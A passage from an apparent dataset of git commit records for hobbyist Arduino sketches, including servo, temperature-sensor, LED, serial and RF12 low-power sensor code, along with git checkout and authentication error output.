numbers:\nconst int buttonPin = PUSH2; \/\/ the number of the pushbutton pin\nconst int ledPin = GREEN_LED; \/\/ the number of the LED pin\n\nServo myservo; \/\/ create servo object to control a servo \nint pos = 0; \/\/ variable to store the servo position \n\nString inputString = \"\"; \/\/ a string to hold incoming data\nString outputString = \"\";\nString stringKey = \"joke\"; \nString stringKey2 = \".\"; \nint counter = 0;\nint position = 1500;\nboolean l_execute = false; \/\/ whether the string is complete\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n inputString.reserve(200);\n \/\/ servo in pos 11 (2.3)\n myservo.attach(11); \/\/ attaches the servo on pin 9 to the servo object \n \/\/ configure led\n pinMode(ledPin, OUTPUT);\n \/\/ Button interruption\n attachInterrupt(PUSH2, buttonPressed, RISING );\n}\n\nvoid loop() {\n \/\/ check if something happened\n if (l_execute) {\n \/\/increase counter;\n counter += 1;\n moveServo();\n Serial.println(counter); \n l_execute = false;\n }\n}\n\n\/\/ Button interrupt results\nvoid buttonPressed(){\n l_execute = true;\n}\n\/\/ Do something action\nvoid moveServo() {\n noInterrupts();\n myservo.write(position);\n digitalWrite(ledPin, HIGH);\n delay(500);\n digitalWrite(ledPin, LOW);\n myservo.write(1000);\n interrupts();\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n*\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n if ((inputString.substring(0,4).equals(stringKey)&&(inputString.substring(8).equals(stringKey2)))){\n l_execute = true;\n \n position = StringtoInt(inputString.substring(4,8));\n } \n inputString = \"\";\n } else {\n inputString += inChar; \n }\n }\n}\n\n\/\/ translates the string into an integer\nint StringtoInt (String inputString) {\n int pos = SingleStringtoInt(inputString.substring(0,1));\n pos = pos*10 + SingleStringtoInt(inputString.substring(1,2));\n pos = pos*10 + SingleStringtoInt(inputString.substring(2,3));\n pos = pos*10 + SingleStringtoInt(inputString.substring(3)); \n return pos;\n}\n\n\/\/ parses each character\nint SingleStringtoInt (String input) {\n\n if ( input.equals( \"1\") ) {\n return 1;\n }else if ( input.equals( \"2\") ) {\n return 2;\n }else if ( input.equals( \"3\") ) {\n return 3;\n } else if ( input.equals( \"4\") ) {\n return 4;\n } else if ( input.equals( \"5\") ) {\n return 5;\n } else if ( input.equals( \"6\") ) {\n return 6;\n } else if ( input.equals( \"7\") ) {\n return 7;\n } else if ( input.equals( \"8\") ) {\n return 8;\n } else if ( input.equals( \"9\") ) {\n return 9;\n } else {\n return 0;\n };\n \n }\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'source\/MSP430\/ServoEvent\/ServoEvent.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47ad15b280f6c01191dd753050286e4f3864caa3","subject":"Working for ESP-01","message":"Working for ESP-01\n","repos":"csgregg\/maker","old_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_file":"esp8266\/projects\/Blynk Light Switch v1\/blynk_light_switch_01\/blynk_light_switch_01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/csgregg\/maker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8bc6263f76bc1747b280847b94c34d4cdf3e729c","subject":"Added spark core code for temp monitor","message":"Added spark core code for temp monitor\n","repos":"jsoxford\/RTData,jsoxford\/RTData","old_file":"SparkCore\/temp.ino","new_file":"SparkCore\/temp.ino","new_contents":"\/*\nThis is the C code running on the Spark Core \nreading temperature data from a TMP36 and \nhumidity from a DHT11\n\nNeeds Adafruit_DHT library\n *\/\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"Adafruit_DHT\/Adafruit_DHT.h\"\n\n#define DHTPIN 2 \/\/ what pin we're connected to\n#define DHTTYPE DHT11\t\t\/\/ DHT 11 \n \nDHT dht(DHTPIN, DHTTYPE);\n\ndouble tempC = 0;\nint reading = 0;\ndouble voltage = 0.0;\n\nvoid setup() {\n pinMode(A0, INPUT);\n Serial.begin(9600);\n dht.begin();\n}\n\nvoid loop() {\n \n float h = dht.getHumidity();\n \tfloat t = dht.getTempCelcius();\n\n reading = analogRead(A0);\n voltage = (reading * 3.3) \/ 4095;\n tempC = -(voltage - 0.5) * 100;\n \n \tString publishString = \"{ \\\"humidity\\\":\"+String(h)+\", \\\"temperature\\\":\"+String(tempC)+\" }\";\n \tSpark.publish(\"Temp\",publishString);\n \t\n \tdelay(1000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'SparkCore\/temp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e77d14565b8526a2eb655771637daacf45fe8f3a","subject":"Spiral progress","message":"Spiral progress\n","repos":"c-dante\/glowbrella,c-dante\/glowbrella,c-dante\/glowbrella","old_file":"DanteGlowbrellaRemix\/DanteGlowbrellaRemix.ino","new_file":"DanteGlowbrellaRemix\/DanteGlowbrellaRemix.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/c-dante\/glowbrella.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"39abb694b0a6009108b6b57518d0b5f8d281c3cd","subject":"Added an include for EEPROMWriter and remove useless comment.","message":"Added an include for EEPROMWriter and remove useless comment.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"23e65667ab6b0491d4453c83ddf62c286912856d","subject":"Add RGBCalibrate sketch","message":"Add RGBCalibrate sketch\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"RGBCalibrate\/RGBCalibrate.ino","new_file":"RGBCalibrate\/RGBCalibrate.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c151eb00e2d3748079807f5d95dcc0e1c07dbf57","subject":"Add:IEEE754Converter","message":"Add:IEEE754Converter\n","repos":"hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car,hdh7485\/AVEES_scale_car","old_file":"arduino\/IEEE754Converter\/IEEE754Converter.ino","new_file":"arduino\/IEEE754Converter\/IEEE754Converter.ino","new_contents":"float float_value = 13;\n\nvoid float2Bytes(byte* bytes_temp, float float_variable) {\n memcpy(bytes_temp, (unsigned char*) (&float_variable), 4);\n}\n\nbyte result_lsb_value[4] = {0x00, 0x00, 0x00, 0x00};\nunsigned char result_msb_value[4] = {0x00, 0x00, 0x00, 0x00};\n\nvoid setup() {\n Serial.begin(9600);\n \/\/ put your setup code here, to run once:\n}\n\nvoid loop() {\n if ( Serial.available() > 0) {\n float_value = Serial.parseFloat();\n }\n float2Bytes(result_lsb_value, float_value);\n \/\/ put your main code here, to run repeatedly:\n Serial.println(float_value);\n Serial.println(\"Little Endian\");\n for (int i = 0; i < 4; i++) {\n Serial.print(result_lsb_value[i], HEX);\n Serial.print('\\t');\n }\n Serial.println('\\n');\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/IEEE754Converter\/IEEE754Converter.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"38e7d97816f02ef31b73a9be7548b520403629f3","subject":"Minimal RGB Strip test","message":"Minimal RGB Strip test\n","repos":"anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical,anyWareSculpture\/physical","old_file":"arduino\/Test sketches\/RGBStrips\/RGBStrips.ino","new_file":"arduino\/Test sketches\/RGBStrips\/RGBStrips.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'sketches\/RGBStrips\/RGBStrips.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d3a28851459a6869509b547addcde7fe3a814b0","subject":"Fixed some code","message":"Fixed some code\n","repos":"PeterL328\/SnakeRobot,PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,ExiaSR\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SlaveModule\/SlaveModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2324508a4402118037cad1887aadc8ce56523019","subject":"Create Receive_test.ino","message":"Create Receive_test.ino","repos":"Blaze420McYoloSwag\/LiteHaus","old_file":"FastLED\/Receive_test.ino","new_file":"FastLED\/Receive_test.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include <FastLED.h>\nFASTLED_USING_NAMESPACE;\n\nint receivedHue = 0;\nint receivedSaturation = 0;\nint receivedValue = 0;\n\nCHSV baseColor;\n\nvoid setup() {\n Particle.subscribe(\"Beacon Update\", ColorUpdate, MY_DEVICES);\n}\n\nvoid loop() {\n\n}\n\n\n\n\nvoid ColorUpdate(const char *name, const char *data) {\n if (data) {\n char input[64];\n strcpy(input,data);\n char *p;\n receivedID = strtok(input,\"~\");\n p = strtok(NULL,\"~\");\n receivedHue = atoi(p);\n p = strtok(NULL,\"~\");\n receivedSaturation = atoi(p);\n p = strtok(NULL,\"~\");\n receivedValue = atoi(p);\n \n\n }\n \/\/ DEBUG\n String sColorRecieved = String(colorRecieved);\n Particle.publish(\"Color_Recieved\", System.deviceID() + \"~\" + receivedHue + \"~\" + receivedSaturation + \"~\" receivedValue);\n \/\/ END DEBUG\n baseColor = CHSV(receivedHue, receivedSaturation, receivedValue)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FastLED\/Receive_test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c40a968b3b4d99b5f21075fb15e3a59707e4ae91","subject":"Update: Add quickstart demo code","message":"Update: Add quickstart demo code\n","repos":"ledongthuc\/CustomSoftwareSerial","old_file":"examples\/QuickStart\/QuickStart.ino","new_file":"examples\/QuickStart\/QuickStart.ino","new_contents":"#include <CustomSoftwareSerial.h>\n\nCustomSoftwareSerial* customSerial; \/\/ Declare serial\n\n\/\/ Init value\nvoid setup() {\n Serial.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n Serial.write(\"Hello World\");\n\n customSerial = new CustomSoftwareSerial(9, 10); \/\/ rx, tx\n customSerial->begin(9600, CSERIAL_8N1); \/\/ Baud rate: 9600, configuration: CSERIAL_8N1\n customSerial->write(\"Test message\"); \/\/ Write testing data\n}\n\nvoid loop() {\n if (customSerial->available())\n Serial.write(customSerial->read());\n if (Serial.available())\n customSerial->write(Serial.read());\n\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/QuickStart\/QuickStart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"af452bfe43e3159f2db4dae7bd6e3b39b55fdc23","subject":"[lmr] Fix rollover during wait for receive and switch to 5 second interval","message":"[lmr] Fix rollover during wait for receive and switch to 5 second interval\n","repos":"CapnBry\/HeaterMeter,dwright134\/HeaterMeter,kdakers80\/HeaterMeter,shmick\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,dwright134\/HeaterMeter,dwright134\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,dwright134\/HeaterMeter,dwright134\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,CapnBry\/HeaterMeter,shmick\/HeaterMeter,shmick\/HeaterMeter,kdakers80\/HeaterMeter,dwright134\/HeaterMeter","old_file":"arduino\/lmremote\/lmremote.ino","new_file":"arduino\/lmremote\/lmremote.ino","new_contents":"#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <rf12_itplus.h>\n\n\/\/ Enabling LMREMOTE_SERIAL also disables several power saving features\n#define LMREMOTE_SERIAL 38400\n\n\/\/ Base Idenfier for the RFM12B (0-63)\n\/\/ The transmitted ID is this ID plus the pin number\nconst char _rfNodeBaseId = 0;\n\/\/ RFM12B band RF12_433MHZ, RF12_868MHZ, RF12_915MHZ\nconst unsigned char _rfBand = RF12_915MHZ;\n\/\/ How many seconds to delay between measurements\nconst unsigned char _sleepInterval = 2;\n\/\/ Analog pins to read. This is a bitfield, LSB is analog 0\nconst unsigned char _enabledProbePins = 0x01;\n\/\/ Analog pin connected to source power. Set to 0xff to disable sampling\nconst unsigned char _pinBattery = 1;\n\/\/ Digital pins for LEDs, 0xff to disable\nconst unsigned char _pinLedRx = 0xff;\nconst unsigned char _pinLedTx = 0xff; \/\/9\n\/\/ Digital pins used for sourcing power to the probe dividers\nconst unsigned char _pinProbeSupplyBase = 4;\n\/\/ Percentage (integer) of VCC where the battery is considered low (33% = 1.1V)\n#define BATTERY_LOW_PCT 33\n\/\/ Number of seconds to keep the \"recent\/new\" bit set\n#define RECENT_EXPIRE_SECS 1800\n\/\/ Number of oversampling bits when measuring temperature [0-2]\n#define TEMP_OVERSAMPLE_BITS 1\n\n#define RF_PINS_PER_SOURCE 6 \n#define PIN_DISABLED(pin) ((_enabledProbePins & (1 << pin)) == 0)\n\n\/\/ Bits used in output packet\n\/\/ byte0\/1 reserved Node IDs\n#define NODEID_MASTER 0x3F\n\/\/ byte1\n#define BYTE1_DUAL_PROBE 0x10\n#define BYTE1_RECENT_BOOT 0x20\n\/\/ hygro byte\n#define HYGRO_BATTERY_OK 0x00\n#define HYGRO_BATTERY_LOW 0x80\n#define HYGRO_NO_HYGRO 0x6A\n#define HYGRO_SECOND_PROBE 0x7D\n#define HYGRO_LMREMOTE_KEY 0x7F\n\n#ifdef LMREMOTE_SERIAL\n #define SLEEPMODE_TX 1\n #define SLEEPMODE_ADC SLEEP_MODE_IDLE\n#else\n #define SLEEPMODE_TX 2\n #define SLEEPMODE_ADC SLEEP_MODE_ADC\n#endif\n\n#define RECV_CYCLE_TIME 5000 \/\/ expected receive cycle, millisecond\n#define MIN_RECV_WIN 8 \/\/ minimum window size, power of 2\n#define MAX_RECV_WIN 512 \/\/ maximum window size, power of 2\n\nstatic unsigned int _previousReads[RF_PINS_PER_SOURCE];\nstatic unsigned long _tempReadLast;\nstatic unsigned int _loopCnt;\nstatic unsigned char _sameCount;\nstatic unsigned char _isRecent = BYTE1_RECENT_BOOT;\nstatic unsigned char _isBattLow;\n\nstatic unsigned int _recvCycleAct;\nstatic unsigned int _recvWindow;\nstatic unsigned long _recvLast;\nstatic bool _recvSynced;\n\nstatic volatile bool _adcBusy;\nstatic volatile bool _watchdogWaiting;\n\n\/\/ The WDT is used solely to wake us from sleep\nISR(WDT_vect) { _watchdogWaiting = false; }\nISR(ADC_vect) { _adcBusy = false; }\n\nstatic bool packetReceived(unsigned char nodeId, unsigned int val)\n{\n#if LMREMOTE_SERIAL\n Serial.print(F(\"IN(\"));\n Serial.print(nodeId);\n Serial.print(',');\n Serial.print(rf12_rssi(), DEC);\n Serial.print(F(\")=\"));\n Serial.print(val);\n Serial.print('\\n');\n#endif\n\n if (nodeId != NODEID_MASTER)\n return false;\n \/\/ val contains requested fan speed percent\n return true;\n}\n\nstatic bool rf12_doWork(void)\n{\n if (rf12_recvDone() && rf12_crc == 0)\n {\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, HIGH);\n\n unsigned char nodeId = ((rf12_buf[0] & 0x0f) << 2) | (rf12_buf[1] >> 6);\n unsigned int val = (rf12_buf[1] & 0x0f) << 8 | rf12_buf[2];\n return packetReceived(nodeId, val);\n }\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, LOW);\n return false;\n}\n\nstatic unsigned int analogReadSleep(unsigned char pin)\n{\n _adcBusy = true;\n ADMUX = (DEFAULT << 6) | pin;\n bitSet(ADCSRA, ADIE);\n set_sleep_mode(SLEEPMODE_ADC);\n while (_adcBusy)\n sleep_mode();\n return ADC;\n}\n\nstatic void sleepPeriod(uint8_t wdt_period)\n{\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Set the watchdog to wake us up and turn on its interrupt\n wdt_enable(wdt_period);\n WDTCSR |= bit(WDIE);\n\n \/\/ Turn off Brown Out Detector\n \/\/ sleep must be entered within 3 cycles of BODS being set\n sleep_enable();\n MCUCR = MCUCR | bit(BODSE) | bit(BODS);\n MCUCR = (MCUCR & ~bit(BODSE)) | bit(BODS);\n \n \/\/ Sleep\n sleep_cpu();\n \n \/\/ Back from sleep\n wdt_disable();\n sleep_disable();\n}\n\nstatic void sleep(unsigned int msec)\n\/\/ Code copied from Sleepy::loseSomeSleep(), jeelib\n{\n unsigned int msleft = msec;\n while (msleft >= 16)\n {\n char wdp = 0; \/\/ wdp 0..9 corresponds to roughly 16..8192 ms\n \/\/ calc wdp as log2(msleft\/16), i.e. loop & inc while next value is ok\n for (unsigned int m = msleft; m >= 32; m >>= 1)\n if (++wdp >= 9)\n break;\n _watchdogWaiting = true;\n sleepPeriod(wdp);\n unsigned int halfms = 8 << wdp;\n msleft -= halfms;\n if (_watchdogWaiting)\n continue;\n msleft -= halfms;\n }\n\n \/\/ adjust the milli ticks, since we will have missed several\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny85__) || defined (__AVR_ATtiny44__)\n extern volatile unsigned long millis_timer_millis;\n millis_timer_millis += msecs - msleft;\n#else\n extern volatile unsigned long timer0_millis;\n timer0_millis += msec - msleft;\n#endif\n}\n\nstatic void resetEstimate(void)\n{\n#if _DEBUG\n Serial.print(F(\"Resetting Estimate\\n\"));\n#endif\n _recvCycleAct = RECV_CYCLE_TIME;\n _recvWindow = MAX_RECV_WIN;\n _recvSynced = false;\n\n unsigned long start = millis();\n while (!rf12_doWork())\n if (millis() - start > RECV_CYCLE_TIME)\n return;\n _recvLast = millis();\n}\n\nstatic bool optimalSleep(void)\n\/\/ Code adapted from jeelib\/examples\/syncRecv optimalSleep()\n{\n unsigned char lost = (millis() - _recvLast + _recvCycleAct \/ 2) \/ _recvCycleAct;\n if (lost > 10)\n {\n resetEstimate();\n return false;\n }\n\n \/\/ double the window every N packets lost\n if (lost > 0 && lost % 2 == 0 && _recvWindow < MAX_RECV_WIN)\n _recvWindow *= 2;\n\n unsigned long predict = _recvLast + (lost + 1) * _recvCycleAct;\n unsigned int sleepDur = predict - _recvWindow - millis();\n sleep(sleepDur);\n rf12_sleep(RF12_WAKEUP);\n\n unsigned long recvTime;\n unsigned long timeout = predict + _recvWindow;\n do {\n recvTime = millis();\n if ((long)(recvTime - timeout) >= 0)\n {\n#if _DEBUG\n Serial.print(\" f \"); Serial.print(lost);\n Serial.print(\" s \"); Serial.print(sleepDur);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n Serial.flush();\n#endif\n return false;\n }\n } while (!rf12_doWork());\n\n unsigned int newEst = (recvTime - _recvLast) \/ (lost + 1);\n if (_recvSynced)\n _recvCycleAct = (4 * _recvCycleAct + newEst + 3) \/ 5; \/\/ 5-fold smoothing\n else\n _recvCycleAct = newEst;\n _recvLast = recvTime;\n\n#if _DEBUG\n Serial.print(\" n \"); Serial.print(lost);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" E \"); Serial.print(newEst);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n#endif\n\n if (_recvWindow > MIN_RECV_WIN)\n _recvWindow \/= 2;\n else\n _recvSynced = true;\n\n return true;\n}\n\nstatic void updateBatteryLow(void)\n{\n const unsigned char BATREAD_COUNT = 4;\n \n _isBattLow = HYGRO_BATTERY_OK;\n if (_pinBattery != 0xff)\n {\n unsigned int adcSum = 0;\n unsigned char battPct;\n for (unsigned char i=0; i<BATREAD_COUNT; ++i)\n adcSum += analogReadSleep(_pinBattery);\n \/\/ Percent of VCC\n battPct = (adcSum * 100UL) \/ (1024 * BATREAD_COUNT);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(\"Battery %: \"); Serial.print(battPct, DEC); Serial.print('\\n');\n#endif\n\n if (battPct < BATTERY_LOW_PCT)\n _isBattLow = HYGRO_BATTERY_LOW;\n }\n}\n\nstatic void transmitTemp(unsigned char pin)\n{\n unsigned char outbuf[4];\n unsigned char nodeId = _rfNodeBaseId + pin;\n unsigned int val = _previousReads[pin];\n val <<= (12 - (10 + TEMP_OVERSAMPLE_BITS));\n outbuf[0] = 0x90 | ((nodeId & 0x3f) >> 2);\n outbuf[1] = ((nodeId & 0x3f) << 6) | _isRecent | (val >> 8);\n outbuf[2] = (val & 0xff);\n outbuf[3] = HYGRO_LMREMOTE_KEY | _isBattLow;\n \/\/Serial.println(outbuf[3], HEX);\n\n \/\/ Don't check for air to be clear, we just woke from sleep and it will be milliseconds before\n \/\/ the RFM chip is actually up and running\n rf12_sendStart(outbuf, sizeof(outbuf));\n rf12_sendWait(SLEEPMODE_TX);\n}\n\nstatic void newTempsAvailable(void)\n{\n \/\/ Enable the transmitter because it takes 1-5ms to turn on (3ms in my testing)\n rf12_sleep(RF12_WAKEUP);\n\n updateBatteryLow();\n \/\/ We're done with the ADC shut it down until the next wake cycle\n ADCSRA &= ~bit(ADEN);\n if (_isRecent && (millis() > RECENT_EXPIRE_SECS))\n {\n \/\/Serial.print(\"No longer recent\\n\");\n _isRecent = 0;\n }\n\n boolean hasTransmitted = false;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n if (hasTransmitted) sleep(16);\n transmitTemp(pin);\n hasTransmitted = true;\n }\n \n rf12_sleep(RF12_SLEEP);\n if (_pinLedTx != 0xff)\n {\n digitalWrite(_pinLedTx, HIGH);\n sleep(16);\n digitalWrite(_pinLedTx, LOW);\n }\n}\n\nstatic void enableAdcPullups(void)\n{\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n \/\/ The probe themistor voltage dividers are normally powered down\n \/\/ to save power, using digital lines to supply Vcc to them.\n \/\/ Lines are used sequentially starting from _pinProbeSupplyBase\n \/\/ Note you can use the analog internal pullups as the fixed half of\n \/\/ the divider by setting this value to A0 (or higher).\n \/\/ The analog pullups are 20k-40kOhms, about 36k on my handful of chips.\n \/\/ If using digital lines you will supply your own resistor for the fixed half.\n digitalWrite(_pinProbeSupplyBase + pin, HIGH);\n }\n}\n\nstatic void stabilizeAdc(void)\n{\n const unsigned char INTERNAL_REF = 0b1110;\n unsigned int last;\n unsigned int totalCnt = 0;\n unsigned int sameCnt = 0;\n unsigned int curr = analogReadSleep(INTERNAL_REF);\n \/\/ Reads the adc a bunch of times until the value settles\n \/\/ Usually you hear \"discard the first few ADC readings after sleep\"\n \/\/ but this seems a bit more scientific as we wait for the AREF cap to charge\n do {\n ++totalCnt;\n#ifdef LMREMOTE_SERIAL\n Serial.print(curr, DEC);\n Serial.print(' ');\n#endif\n last = curr;\n curr = analogReadSleep(INTERNAL_REF);\n if (last == curr)\n ++sameCnt;\n else\n sameCnt = 0;\n } while ((totalCnt < 64) && (sameCnt < 4));\n}\n\nstatic void checkTemps(void)\n{\n const unsigned char OVERSAMPLE_COUNT[] = {1, 4, 16, 64}; \/\/ 4^n\n boolean modified = false;\n unsigned int oversampled_adc = 0;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(millis(), DEC);\n Serial.print(\" Checking temps: \");\n#endif\n\n \/\/ Enable the ADC\n ADCSRA |= bit(ADEN);\n enableAdcPullups();\n stabilizeAdc();\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n for (unsigned char o=0; o<OVERSAMPLE_COUNT[TEMP_OVERSAMPLE_BITS]; ++o)\n {\n unsigned int adc = analogReadSleep(pin);\n if (adc == 0 || adc >= 1023)\n {\n oversampled_adc = 0;\n break;\n }\n oversampled_adc += adc;\n }\n oversampled_adc = oversampled_adc >> TEMP_OVERSAMPLE_BITS;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(oversampled_adc, DEC); Serial.print(' ');\n#endif\n if (oversampled_adc != _previousReads[pin])\n modified = true;\n _previousReads[pin] = oversampled_adc;\n\n digitalWrite(_pinProbeSupplyBase + pin, LOW);\n }\n\n#ifdef LMREMOTE_SERIAL\n Serial.print('\\n');\n#endif\n\n if (modified || (_sameCount > (30 \/ _sleepInterval)))\n {\n _sameCount = 0;\n newTempsAvailable();\n }\n else\n ++_sameCount;\n \/\/ Disable the ADC\n ADCSRA &= ~bit(ADEN);\n\n _tempReadLast = millis();\n}\n\nstatic void setupSupplyPins(void)\n{\n \/\/ Analog pullup supply pins don't need DIR set\n if (_pinProbeSupplyBase >= A0)\n return;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n pinMode(_pinProbeSupplyBase + pin, OUTPUT);\n }\n}\n\nvoid setup(void)\n{\n \/\/ Turn off the units we never use (this only affects non-sleep power)\n PRR = bit(PRUSART0) | bit(PRTWI) | bit(PRTIM1) | bit(PRTIM2);\n \/\/ Disable digital input buffers on the analog in ports\n DIDR0 = bit(ADC5D) | bit(ADC4D) | bit(ADC3D) | bit(ADC2D) | bit(ADC1D) | bit(ADC0D);\n DIDR1 = bit(AIN1D) | bit(AIN0D);\n\n#ifdef LMREMOTE_SERIAL\n PRR &= ~bit(PRUSART0);\n Serial.begin(LMREMOTE_SERIAL); Serial.println(\"$UCID,lmremote\"); delay(10);\n#endif\n\n rf12_initialize(1, _rfBand);\n \/\/ Crystal 1.66MHz Low Battery Detect 2.2V\n rf12_control(0xC040);\n\n if (_pinLedRx != 0xff) pinMode(_pinLedRx, OUTPUT);\n if (_pinLedTx != 0xff) pinMode(_pinLedTx, OUTPUT);\n\n setupSupplyPins();\n\n \/\/ Force a transmit on next read\n memset(_previousReads, 0xff, sizeof(_previousReads));\n}\n\nvoid loop(void)\n{\n if (_loopCnt % 2 == 0)\n checkTemps();\n\n#ifdef LMREMOTE_SERIAL\n Serial.flush(); delay(2);\n#endif\n\n if (_recvLast == 0)\n resetEstimate();\n else\n optimalSleep();\n rf12_sleep(RF12_SLEEP);\n\n ++_loopCnt;\n}\n\n\n","old_contents":"#include <avr\/wdt.h>\n#include <avr\/sleep.h>\n#include <rf12_itplus.h>\n\n\/\/ Enabling LMREMOTE_SERIAL also disables several power saving features\n#define LMREMOTE_SERIAL 38400\n\n\/\/ Base Idenfier for the RFM12B (0-63)\n\/\/ The transmitted ID is this ID plus the pin number\nconst char _rfNodeBaseId = 0;\n\/\/ RFM12B band RF12_433MHZ, RF12_868MHZ, RF12_915MHZ\nconst unsigned char _rfBand = RF12_915MHZ;\n\/\/ How many seconds to delay between measurements\nconst unsigned char _sleepInterval = 2;\n\/\/ Analog pins to read. This is a bitfield, LSB is analog 0\nconst unsigned char _enabledProbePins = 0x01; \n\/\/ Analog pin connected to source power. Set to 0xff to disable sampling\nconst unsigned char _pinBattery = 1;\n\/\/ Digital pins for LEDs, 0xff to disable\nconst unsigned char _pinLedRx = 0xff;\nconst unsigned char _pinLedTx = 0xff; \/\/9\n\/\/ Digital pins used for sourcing power to the probe dividers\nconst unsigned char _pinProbeSupplyBase = 4;\n\/\/ Percentage (integer) of VCC where the battery is considered low (33% = 1.1V)\n#define BATTERY_LOW_PCT 33\n\/\/ Number of seconds to keep the \"recent\/new\" bit set\n#define RECENT_EXPIRE_SECS 1800\n\/\/ Number of oversampling bits when measuring temperature [0-2]\n#define TEMP_OVERSAMPLE_BITS 1\n\n#define RF_PINS_PER_SOURCE 6 \n#define PIN_DISABLED(pin) ((_enabledProbePins & (1 << pin)) == 0)\n\n\/\/ Bits used in output packet\n\/\/ byte0\/1 reserved Node IDs\n#define NODEID_MASTER 0x3F\n\/\/ byte1\n#define 